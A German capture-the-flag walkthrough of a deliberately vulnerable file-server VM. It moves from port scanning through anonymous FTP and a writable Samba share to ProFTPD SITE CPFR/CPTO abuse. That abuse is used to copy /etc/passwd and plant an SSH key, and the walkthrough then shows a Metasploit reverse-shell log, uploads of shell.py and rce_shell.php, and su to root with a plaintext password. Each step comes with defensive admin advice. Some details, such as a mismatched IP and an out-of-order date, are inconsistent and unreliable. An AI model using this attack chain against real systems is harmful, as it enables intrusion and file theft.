Wir beginnen mit der Identifizierung des Zielsystems im Netzwerk und einer umfassenden Analyse der offenen Ports und Dienste.
192.168.2.130 08:00:27:77:fc:eb PCS Systemtechnik GmbH
Analyse: Der Befehl `arp-scan -l` verwendet ARP-Anfragen, um aktive Geräte im lokalen Netzwerk zu finden.
Bewertung: Ein Host mit der IP-Adresse `192.168.2.130` wurde erfolgreich identifiziert. Die MAC-Adresse (`08:00:27:77:fc:eb`) und der Hersteller (`PCS Systemtechnik GmbH`) deuten auf eine Oracle VirtualBox VM hin.
Empfehlung (Pentester): Ziel-IP `192.168.2.130` notieren. Optional einen Hostnamen in `/etc/hosts` definieren.
Empfehlung (Admin):** Netzwerksegmentierung und -überwachung können zur Erkennung beitragen.
Ein Hostname wird zur lokalen Hosts-Datei hinzugefügt.
192.168.2.130 my_file_server.vuln
Analyse: Der Hostname `my_file_server.vuln` wird der IP `192.168.2.130` in der lokalen `/etc/hosts`-Datei zugeordnet.
Bewertung: Erleichtert die Ansprache des Ziels.
Empfehlung (Pentester): Den definierten Hostnamen verwenden.
Empfehlung (Admin):** Keine Aktion erforderlich.
Ein umfassender Nmap-Scan wird durchgeführt, um offene Ports, Dienste, Versionen und OS-Details zu ermitteln.
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-26 22:54 CEST Nmap scan report for my_file_server.vuln (192.168.2.130) Host is up (0.00011s latency). Not shown: 64503 filtered tcp ports (no-response), 20 filtered tcp ports (host-prohibited), 1004 closed tcp ports (reset) PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.2 | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_drwxrwxrwx 3 0 0 16 Feb 19 2020 pub [NSE: writeable] | ftp-syst: | STAT: | FTP server status: | Connected to ::ffff:192.168.2.199 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 2 | vsFTPd 3.0.2 - secure, fast, stable |_End of status 22/tcp open ssh OpenSSH 7.4 (protocol 2.0) | ssh-hostkey: | 2048 75:fa:37:d1:62:4a:15:87:7e:21:83:b9:2f:ff:04:93 (RSA) | 256 b8:db:2c:ca:e2:70:c3:eb:9a:a8:cc:0e:a2:1c:68:6b (ECDSA) |_ 256 66:a3:1b:55:ca:c2:51:84:41:21:7f:77:40:45:d4:9f (ED25519) 80/tcp open http Apache httpd 2.4.6 ((CentOS)) |_http-title: 400 Bad Request |_http-server-header: Apache/2.4.6 (CentOS) 111/tcp open rpcbind 2-4 (RPC #100000) |_rpcinfo: ERROR: Script execution failed (use -d to debug) 445/tcp open samba Samba smbd 4.9.1 (workgroup: SAMBA) 2049/tcp open nfs 3-4 (RPC #100003) 2121/tcp open ftp ProFTPD 1.3.5 | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_Can't get directory listing: ERROR 20048/tcp open mountd 1-3 (RPC #100005) MAC Address: 08:00:27:77:FC:EB (Oracle VirtualBox virtual NIC) Aggressive OS guesses: Linux 3.4 - 3.10 (98%), Synology DiskStation Manager 5.2-5644 (97%), Linux 2.6.32 - 3.10 (96%), Linux 3.10 (94%), Linux 3.2 - 3.10 (94%), Linux 3.2 - 3.16 (94%), Linux 3.2 - 4.9 (94%), Linux 2.6.32 (93%), Linux 2.6.32 - 3.5 (92%), Linux 2.6.32 - 3.13 (92%) No exact OS matches for host (test conditions non-ideal). Network Distance: 1 hop Service Info: Host: FILESERVER; OS: Unix Host script results: | smb2-time: | date: 2023-09-26T20:55:33 |_ start_date: N/A | smb-os-discovery: | OS: Windows 6.1 (Samba 4.9.1) | Computer name: localhost | NetBIOS computer name: FILESERVER\x00 | Domain name: \x00 | FQDN: localhost |_ System time: 2023-09-27T02:25:35+05:30 | smb2-security-mode: | 3.1.1: |_ Message signing enabled but not required | smb-security-mode: | account_used:| authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) |_clock-skew: mean: -1h49m51s, deviation: 3h10m29s, median: 7s TRACEROUTE HOP RTT ADDRESS 1 0.11 ms my_file_server.vuln (192.168.2.130)
Analyse: Nmap scannt alle TCP-Ports (`-p-`) mit umfassenden Optionen (`-sS`, `-sC`, `-sV`, `-T5`, `-A`, `-Pn`).
Bewertung: Der Scan identifiziert eine Reihe offener Ports und Dienste, viele davon veraltet:
Empfehlung (Pentester):**
1. Untersuchen Sie NFS: Exportierte Verzeichnisse listen (`showmount -e 192.168.2.130`). Versuchen Sie, diese zu mounten.
2. Untersuchen Sie den beschreibbaren anonymen FTP (Port 21): Was befindet sich in `/pub`? Können hochgeladene Dateien über NFS oder Samba ausgeführt werden?
3. Nutzen Sie ProFTPD (Port 2121): Versuchen Sie `SITE CPFR`/`CPTO`, um Dateien (z.B. `/etc/passwd`, SSH-Schlüssel) an einen beschreibbaren Ort (FTP `/pub` oder Samba-Share) zu kopieren.
4. Untersuchen Sie Samba (Port 445): Shares listen (`smbclient -L //192.168.2.130 -N`), Gastzugriff testen.
5. Prüfen Sie den Webserver (Port 80) mit dem korrekten Hostnamen, falls er später ermittelt wird.
Empfehlung (Admin):** **Dringend:** Entfernen Sie Schreibrechte für anonyme FTP-Benutzer! **Dringend:** Sichern Sie NFS-Freigaben (korrekte Exporte, `no_root_squash` vermeiden). **Dringend:** Aktualisieren Sie alle Dienste (vsftpd, ProFTPD, OpenSSH, Apache, Samba) und das Betriebssystem (CentOS 5/6 sind EOL!). Deaktivieren Sie anonymen/Gast-Zugriff auf Samba/FTP, wenn nicht benötigt. Sichern Sie ProFTPD (SITE-Befehle einschränken).
Wir filtern die Nmap-Ausgabe nach offenen Ports.
21/tcp open ftp vsftpd 3.0.2 22/tcp open ssh OpenSSH 7.4 (protocol 2.0) 80/tcp open http Apache httpd 2.4.6 ((CentOS)) 111/tcp open rpcbind 2-4 (RPC #100000) 445/tcp open samba Samba smbd 4.9.1 (workgroup: SAMBA) 2049/tcp open nfs 3-4 (RPC #100003) 2121/tcp open ftp ProFTPD 1.3.5 20048/tcp open mountd 1-3 (RPC #100005)
Analyse: Filtert die Nmap-Ausgabe, um nur Zeilen anzuzeigen, die "open" enthalten.
Bewertung: Zeigt die 8 primären offenen Ports übersichtlich an.
Empfehlung (Pentester): Nutzen Sie diese Liste zur systematischen Untersuchung.
Empfehlung (Admin):** Reduzieren Sie die Anzahl offener Ports.
Wir untersuchen den Webserver auf Port 80, obwohl er einen Fehler zurückgibt, und suchen nach Hinweisen.
Ein Gobuster-Scan wird gegen Port 80 durchgeführt:
http://192.168.2.130/index.html (Status: 200) [Size: 174] http://192.168.2.130/readme.txt (Status: 200) [Size: 25]
Analyse: Gobuster sucht nach Verzeichnissen und Dateien im Webroot auf Port 80.
Bewertung: Findet eine `index.html` und die bereits von Nikto (auf dem anderen Server) gesehene `readme.txt`.
Empfehlung (Pentester): Lesen Sie den Inhalt von `readme.txt`. Dies könnte das gleiche Passwort wie beim vorherigen Server sein.
Empfehlung (Admin):** Entfernen Sie unnötige Dateien.
Analyse des Inhalts von `readme.txt` (implizit, da der Inhalt im Log später gezeigt wird):
My Password is
rootroot1
Analyse: Der Inhalt der Datei `/readme.txt` wird abgerufen (vermutlich via `curl` oder Browser).
Bewertung: **Kritischer Fund!** Wie beim Server "My_file_server_1" enthält die Datei das Passwort `rootroot1` im Klartext.
Empfehlung (Pentester): Versuchen Sie dieses Passwort für den `root`-Benutzer (unwahrscheinlich bei SSH wegen der Konfiguration) und für andere gefundene Benutzer (z.B. `smbuser`) bei SSH (Port 22) und FTP (Port 21).
Empfehlung (Admin):** **Niemals Passwörter im Klartext in Web-zugänglichen Dateien speichern!** Entfernen Sie diese Datei sofort.
Wir untersuchen den FTP-Dienst auf Port 21, insbesondere den anonymen Zugang und das beschreibbare Verzeichnis.
Anonymer FTP-Login und Untersuchung des `/pub`-Verzeichnisses:
Connected to 192.168.2.130. 220 (vsFTPd 3.0.2) Name (192.168.2.130:cyber): Anonymous 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files.
229 Entering Extended Passive Mode (|||5301|). 150 Here comes the directory listing. drwxr-xr-x 3 0 0 16 Feb 18 2020 . drwxr-xr-x 3 0 0 16 Feb 18 2020 .. drwxrwxrwx 3 0 0 16 Feb 19 2020 pub 226 Directory send OK.
550 Failed to change directory.
local: shell.py remote: shell.py 229 Entering Extended Passive Mode (|||port|) 550 Permission denied.
Analyse: Anonymer FTP-Login. Das Stammverzeichnis enthält ein Verzeichnis `pub` mit Schreibrechten für alle (`drwxrwxrwx`). Der Versuch, in `/var` zu wechseln oder eine Datei ins Stammverzeichnis hochzuladen, scheitert.
Bewertung: Bestätigt den anonymen Zugang und das **kritische, beschreibbare `/pub`-Verzeichnis**. Chroot scheint aktiv zu sein.
Empfehlung (Pentester): Wechseln Sie in das `/pub`-Verzeichnis und versuchen Sie dort, Dateien hochzuladen (z.B. eine Webshell, `authorized_keys`).
Empfehlung (Admin):** **Dringend:** Entfernen Sie die Schreibrechte für das `/pub`-Verzeichnis (`chmod o-w /path/to/ftp/pub`). Deaktivieren Sie anonymen FTP-Zugang, wenn möglich.
Rekursives Herunterladen des FTP-Inhalts mit `wget`:
--2023-09-26 22:59:58-- ftp://Anonymous:*password*@192.168.2.130/ => 192.168.2.130/.listing Verbindungsaufbau zu 192.168.2.130:21 … verbunden. Anmelden als Anonymous … Angemeldet! > SYST ... fertig. > PWD ... fertig. > TYPE I ... fertig. > CWD nicht notwendig. > PASV ... fertig. > LIST ... fertig. 192.168.2.130/.listing [ <=> ] 180 --.-KB/s in 0s 2023-09-26 22:59:58 (30,5 MB/s) - 192.168.2.130/.listing gespeichert [180] 192.168.2.130/.listing gelöscht. --2023-09-26 22:59:58-- ftp://Anonymous:*password*@192.168.2.130/pub/ => 192.168.2.130/pub/.listing > CWD (1) /pub ... fertig. > PASV ... fertig. > LIST ... fertig. 192.168.2.130/pub/.list [ <=> ] 180 --.-KB/s in 0s 2023-09-26 22:59:58 (31,5 MB/s) - 192.168.2.130/pub/.listing gespeichert [180] Verzeichnis »192.168.2.130/pub« aufgeräumt. INSGESAMT Dateien: 180 Bytes in 1 Dateien geholt.
Analyse: `wget -r` wird verwendet, um den Inhalt des anonymen FTP-Bereichs rekursiv herunterzuladen.
Bewertung: Lädt das Verzeichnis `/pub` herunter, das aber laut `ls` leer zu sein scheint (nur `.` und `..`). Keine neuen Dateien gefunden.
Empfehlung (Pentester): Fokus bleibt auf dem Schreibzugriff im `/pub`-Verzeichnis über FTP oder auf dem `/smbdata`-Verzeichnis über Samba.
Empfehlung (Admin):** Keine Aktion erforderlich.
Wir untersuchen den Samba-Dienst auf Port 445 genauer.
=( Share Enumeration on 192.168.2.130 )= Sharename Type Comment --------- ---- ------- print$ Disk Printer Drivers smbdata Disk smbdata smbuser Disk smbuser IPC$ IPC IPC Service (Samba 4.9.1) [+] Attempting to map shares on 192.168.2.130 //192.168.2.130/print$ Mapping: DENIED Listing: N/A Writing: N/A //192.168.2.130/smbdata Mapping: OK Listing: OK Writing: OK //192.168.2.130/smbuser Mapping: DENIED Listing: N/A Writing: N/A =( User Enumeration on 192.168.2.130 )= [+] Enumerating users using SID S-1-5-21-1584567012-685468033-1030942069 and logon username '', password '' S-1-5-21-1584567012-685468033-1030942069-1000 FILESERVER\smbuser (Local User) [+] Enumerating users using SID S-1-22-1 and logon username '', password '' S-1-22-1-1000 Unix User\smbuser (Local User)
Analyse: `enum4linux -a` führt eine SMB-Enumeration durch.
Bewertung: Findet die Shares `print$`, `smbdata`, `smbuser`, `IPC$`. **Kritisch:** Die Share `smbdata` ist für anonyme/Gast-Benutzer les- und **beschreibbar** (`Mapping: OK Listing: OK Writing: OK`)! Der Benutzer `smbuser` wird erneut identifiziert.
Empfehlung (Pentester):** Die beschreibbare `smbdata`-Share ist ein Hauptangriffsvektor. Verbinden Sie sich (`smbclient //192.168.2.130/smbdata -N`) und laden Sie einen SSH-Schlüssel oder eine Webshell hoch (falls der Pfad über Web erreichbar ist). Testen Sie das Passwort `rootroot1` für `smbuser` bei SSH/FTP.
Empfehlung (Admin):** **Dringend:** Entfernen Sie die anonymen Schreibrechte für die `smbdata`-Share! Überprüfen Sie die gesamte Samba-Konfiguration.
Verbindungsversuche zu den Shares `smbuser` und `smbdata`:
Password for [WORKGROUP\root]: Anonymous login successful tree connect failed: NT_STATUS_ACCESS_DENIED
Analyse: Anonymer Verbindungsversuch zur `smbuser`-Share.
Bewertung: Zugriff verweigert. Korrekt konfiguriert.
Anonymous login successful Try "help" to get a list of possible commands.
. D 0 Fri Feb 21 07:50:09 2020 .. D 0 Tue Feb 18 12:47:54 2020 anaconda D 0 Tue Feb 18 12:48:15 2020 audit D 0 Tue Feb 18 12:48:15 2020 boot.log N 6120 Tue Feb 18 12:48:16 2020 btmp N 384 Tue Feb 18 12:48:16 2020 cron N 4813 Tue Feb 18 12:48:16 2020 dmesg N 31389 Tue Feb 18 12:48:16 2020 dmesg.old N 31389 Tue Feb 18 12:48:16 2020 glusterfs D 0 Tue Feb 18 12:48:16 2020 lastlog N 292292 Tue Feb 18 12:48:16 2020 maillog N 1982 Tue Feb 18 12:48:16 2020 messages N 684379 Tue Feb 18 12:48:17 2020 ppp D 0 Tue Feb 18 12:48:17 2020 samba D 0 Tue Feb 18 12:48:17 2020 secure N 11937 Tue Feb 18 12:48:17 2020 spooler N 0 Tue Feb 18 12:48:17 2020 tallylog N 0 Tue Feb 18 12:48:17 2020 tuned D 0 Tue Feb 18 12:48:17 2020 wtmp N 25728 Tue Feb 18 12:48:17 2020 xferlog N 100 Tue Feb 18 12:48:17 2020 yum.log N 10915 Tue Feb 18 12:48:17 2020 sshd_config N 3906 Wed Feb 19 08:46:38 2020 authorized_keys A 389 Fri Feb 21 07:50:09 2020 19976192 blocks of size 1024. 17759928 blocks available
getting file \sshd_config of size 3906 as sshd_config (3814,1 KiloBytes/sec) (average 3814,5 KiloBytes/sec)
getting file \authorized_keys of size 389 as authorized_keys (47,5 KiloBytes/sec) (average 466,0 KiloBytes/sec)
putting file shell.py as \shell.py (36,0 kb/s) (average 36,0 kb/s)
putting file rce_shell.php as \rce_shell.php (3,8 kb/s) (average 27,7 kb/s)
Analyse: Anonyme Verbindung zur `smbdata`-Share mit `smbclient -N`. Der Inhalt wird aufgelistet, Dateien (`sshd_config`, `authorized_keys`) heruntergeladen und eigene Dateien (`shell.py`, `rce_shell.php`) hochgeladen.
Bewertung: Bestätigt den anonymen Lese- und Schreibzugriff auf `smbdata`. Die heruntergeladene `sshd_config` könnte Informationen zur SSH-Konfiguration liefern (z.B. erlaubte Authentifizierungsmethoden). Die `authorized_keys` könnte den öffentlichen Schlüssel eines berechtigten Benutzers enthalten. Das Hochladen eigener Dateien ist möglich.
Empfehlung (Pentester): Analysieren Sie die heruntergeladenen Dateien. Da Schreibzugriff besteht, ist das Hochladen eines eigenen SSH-Schlüssels in das `.ssh`-Verzeichnis des Zielbenutzers (`smbuser`) der wahrscheinlichste Weg zum Initial Access. Dies kann entweder über Samba erfolgen (wenn `smbdata` auf `/home/smbuser` oder einen beschreibbaren Teil davon zeigt) oder durch Kombination mit FTP (hochladen in `/pub` via FTP, dann kopieren via ProFTPD `SITE CPFR/CPTO` an den richtigen Ort, falls `/pub` und `/home/smbuser` auf dem gleichen Dateisystem liegen).
Empfehlung (Admin):** Anonymen Schreibzugriff entfernen!
Wir nutzen eine Schwachstelle oder ein Feature des ProFTPD-Servers auf Port 2121, um Dateien auf dem Server zu kopieren, insbesondere um unseren SSH-Schlüssel an die richtige Stelle zu bringen.
Verbindung zu ProFTPD (Port 2121) via Telnet und Kopieren von `/etc/passwd` nach `/smbdata/passwd_hacker`:
Trying 192.168.2.130... Connected to 192.168.2.130. Escape character is '^]'. 220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [192.168.2.130]
214-The following SITE commands are recognized (* =>'s unimplemented) CPFRpathname CPTO pathname HELP CHGRP CHMOD 214 Direct comments to root@localhost
350 File or directory exists, ready for destination name
250 Copy successful
Analyse: Verbindung zum ProFTPD auf Port 2121 mittels Telnet. Der `site help`-Befehl zeigt verfügbare `SITE`-Befehle, darunter `CPFR` (Copy From) und `CPTO` (Copy To). Diese werden verwendet, um `/etc/passwd` in die für uns (via Samba) beschreibbare Share `/smbdata` unter dem Namen `passwd_hacker` zu kopieren.
Bewertung: **Erfolgreiche Ausnutzung!** ProFTPD erlaubt das Kopieren von Dateien auf dem Server selbst. In Kombination mit der beschreibbaren Samba-Share können wir beliebige Dateien, die der ProFTPD-Prozess lesen kann (oft als root laufend!), exfiltrieren. `/etc/passwd` wurde erfolgreich kopiert.
Empfehlung (Pentester): Nutzen Sie dieselbe Technik, um unseren zuvor generierten öffentlichen SSH-Schlüssel (`authorized_keys`), den wir in die `smbdata`-Share hochgeladen haben, in das korrekte Verzeichnis `/home/smbuser/.ssh/authorized_keys` zu kopieren.
Empfehlung (Admin):** Aktualisieren Sie ProFTPD. Deaktivieren Sie gefährliche `SITE`-Befehle (`CPFR`, `CPTO`) in der ProFTPD-Konfiguration, wenn nicht unbedingt benötigt. Beschränken Sie die Rechte des ProFTPD-Prozesses. Sichern Sie Samba-Shares.
Kopieren des hochgeladenen SSH-Schlüssels mittels ProFTPD `SITE`-Befehlen:
my_file_server.vuln [192.168.2.130] 2121 (iprop) open 220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [192.168.2.130]
350 File or directory exists, ready for destination name
250 Copy successful
Analyse: Verbindung zu ProFTPD (Port 2121) mit `nc`. Mittels `SITE CPFR` wird der zuvor über Samba hochgeladene öffentliche Schlüssel (angenommen im Pfad `/smbdata/samba/authorized_keys`) ausgewählt. Mit `SITE CPTO` wird dieser Schlüssel an den Zielort `/home/smbuser/.ssh/authorized_keys` kopiert.
Bewertung: **Erfolg!** Der öffentliche SSH-Schlüssel wurde erfolgreich im `.ssh`-Verzeichnis des Benutzers `smbuser` platziert. Der SSH-Login als `smbuser` mit dem entsprechenden privaten Schlüssel sollte nun möglich sein.
Empfehlung (Pentester): Versuchen Sie den SSH-Login als `smbuser` mit dem privaten Schlüssel.
Empfehlung (Admin):** Siehe vorherige Empfehlungen zu ProFTPD und Samba.
Wir nutzen den über FTP/Samba/ProFTPD platzierten SSH-Schlüssel, um uns als `smbuser` anzumelden.
# Armour Infosec #
# www.armourinfosec.com #
# My File Server - 2 #
# Designed By :- Akanksha Sachin Verma #
# Twitter :- @akankshavermasv #
Enter passphrase for key '/root/.ssh/id_rsa': (Passphrase eingegeben)
Last login: Fri Feb 21 12:39:36 2020
[smbuser@fileserver ~]$
Analyse: SSH-Login als `smbuser` unter Verwendung des privaten Schlüssels (`.ssh/id_rsa`). Eine Passphrase für den Schlüssel ist erforderlich.
Bewertung: Initial Access erfolgreich! Nach Eingabe der korrekten Passphrase erhalten wir eine Shell als `smbuser`.
Empfehlung (Pentester): Beginnen Sie die lokale Enumeration als `smbuser`.
Empfehlung (Admin):** Erzwingen Sie starke Passphrasen für SSH-Schlüssel. Korrigieren Sie die Sicherheitslücken (FTP/Samba/ProFTPD).
Wir untersuchen das System als `smbuser` und richten eine Metasploit-Sitzung ein.
Analyse der Bash-History:
history echo > .bash_history cat .bash_history . cat .bash_history su - root
Analyse: Die Bash-History von `smbuser` wird angezeigt.
Bewertung: Die History wurde größtenteils gelöscht. Der letzte interessante Befehl ist `su - root`, was darauf hindeutet, dass der Benutzer versucht hat, Root zu werden.
Empfehlung (Pentester): Versuchen Sie `su root` mit dem Passwort `rootroot1`, das in der `/readme.txt` gefunden wurde. Prüfen Sie SUID-Dateien.
Empfehlung (Admin):** Keine Aktion.
Suche nach SUID-Binaries:
34179364 64 -rwsr-xr-x 1 root root 64200 Mar 6 2015 /usr/bin/chage 34179365 80 -rwsr-xr-x 1 root root 78168 Mar 6 2015 /usr/bin/gpasswd 34175860 44 -rwsr-xr-x 1 root root 41752 Mar 6 2015 /usr/bin/newgrp 34182648 44 -rwsr-xr-x 1 root root 44232 Mar 6 2015 /usr/bin/mount 34179705 24 -rws--x--x 1 root root 23960 Mar 6 2015 /usr/bin/chfn 34179486 24 -rws--x--x 1 root root 23856 Mar 6 2015 /usr/bin/chsh 34182663 32 -rwsr-xr-x 1 root root 32064 Mar 6 2015 /usr/bin/su 34182667 32 -rwsr-xr-x 1 root root 31960 Mar 6 2015 /usr/bin/umount 34362148 28 -rwsr-xr-x 1 root root 27656 Jun 10 2014 /usr/bin/pkexec 34362174 60 -rwsr-xr-x 1 root root 57536 Jul 30 2014 /usr/bin/crontab 34676864 128 -rwsr-xr-x 1 root root 130720 Mar 6 2015 /usr/bin/sudo 34296737 208 -rwsr-xr-x 1 root stapusr 212080 Oct 18 2019 /usr/bin/staprun 34631418 28 -rwsr-xr-x 1 root root 27832 Jun 10 2014 /usr/bin/passwd 67395239 12 -rwsr-xr-x 1 root root 11208 Mar 6 2015 /usr/sbin/pam_timestamp_check 67395241 36 -rwsr-xr-x 1 root root 36264 Mar 6 2015 /usr/sbin/unix_chkpwd 67574143 12 -rwsr-xr-x 1 root root 11296 Aug 9 2019 /usr/sbin/usernetctl 68676026 116 -rwsr-xr-x 1 root root 117432 Aug 9 2019 /usr/sbin/mount.nfs 67585748 16 -rwsr-xr-x 1 root root 15416 Jun 10 2014 /usr/lib/polkit-1/polkit-agent-helper-1 101817405 60 -rwsr-x--- 1 root dbus 58024 Mar 14 2019 /usr/libexec/dbus-1/dbus-daemon-launch-helper
Analyse: Sucht nach SUID-gesetzten Dateien.
Bewertung: Findet Standard-SUID-Binaries für ein älteres CentOS/RHEL-System. `/usr/bin/pkexec` ist vorhanden (Pwnkit-Potenzial). `/usr/bin/sudo` ist ebenfalls vorhanden.
Empfehlung (Pentester): **Priorität 1:** Versuchen Sie `su root` mit dem Passwort `rootroot1`. **Priorität 2:** Testen Sie auf Pwnkit (CVE-2021-4034). **Priorität 3:** Prüfen Sie `sudo -l`.
Empfehlung (Admin):** Patchen Sie Polkit. Minimieren Sie SUID-Binaries.
Einrichtung einer Metasploit-Sitzung (optional, aber im Log vorhanden):
rm: das Entfernen von „/tmp/f“ ist nicht möglich: Datei oder Verzeichnis nicht gefunden
[*] Started reverse TCP handler on 192.168.2.199:4444 [*] Command shell session 1 opened (192.168.2.199:4444 -> 192.168.2.119:52508) at 2023-09-21 00:30:53 +0200 Shell Banner: _[?1034h[smbuser@fileserver ~]$ -- [smbuser@fileserver ~]$
Analyse: Aufbau einer Reverse Shell von `smbuser` zu Metasploit via Bash TCP-Redirection.
Bewertung: Erfolgreiche Etablierung einer Shell-Sitzung (Session 1) in Metasploit.
Empfehlung (Pentester): Diese Sitzung kann für komplexere Exploits (wie Pwnkit) genutzt werden, ist aber für den einfachen `su`-Versuch nicht zwingend notwendig.
Empfehlung (Admin):** Ausgehende Verbindungen überwachen/einschränken.
Dieser Abschnitt demonstriert die Privilegienerweiterung durch Verwendung des in der `readme.txt`-Datei gefundenen Passworts mit dem `su`-Befehl.
Kurzbeschreibung: Die Datei `/readme.txt` im Webroot enthielt das Passwort `rootroot1`. Wir verwenden dieses Passwort, um uns mittels `su root` als Root-Benutzer anzumelden.
Voraussetzungen: Shell-Zugriff als `smbuser`. Kenntnis des Passworts `rootroot1`.
Schritt 1: Ausführung von `su root`
Passwort: rootroot1
[root@fileserver smbuser]#
Analyse: Der Befehl `su root` wird ausgeführt und das Passwort `rootroot1` eingegeben.
Bewertung: **Fantastisch, der Root-Zugriff war erfolgreich!** Der Prompt wechselt zu `root@fileserver`. Das im Webroot gefundene Passwort war tatsächlich das Root-Passwort.
Empfehlung (Pentester): Bestätigen Sie mit `id`. Sammeln Sie die Root-Flagge.
Empfehlung (Admin):** **Dringend:** Ändern Sie das Root-Passwort! Entfernen Sie die `readme.txt`. Speichern Sie niemals Passwörter im Klartext.
Schritt 2: Bestätigung der Root-Rechte und Flaggen-Sammlung
uid=0(root) gid=0(root) Gruppen=0(root)
proof.txt
Best of Luck
af52e0163b03cbf7c6dd146351594a43
Analyse: `id` bestätigt Root. Im `/root`-Verzeichnis wird `proof.txt` gefunden und ausgelesen.
Bewertung: Root-Rechte bestätigt. Die Root-Flagge `af52e0163b03cbf7c6dd146351594a43` wurde gefunden.
Empfehlung (Pentester): Suchen Sie die User-Flagge (normalerweise in `/home/USERNAME/`). Test abgeschlossen.
Empfehlung (Admin):** Keine Aktion bezüglich der Flagge.
Risikobewertung:** Die Kombination aus einer im Webroot öffentlich zugänglichen Datei, die das Root-Passwort im Klartext enthält, und unsicheren FTP/Samba-Konfigurationen (die das Platzieren eines SSH-Schlüssels ermöglichten) stellt ein kritisches Risiko dar und führte zur vollständigen Kompromittierung.
Empfehlungen (Zusammenfassung):**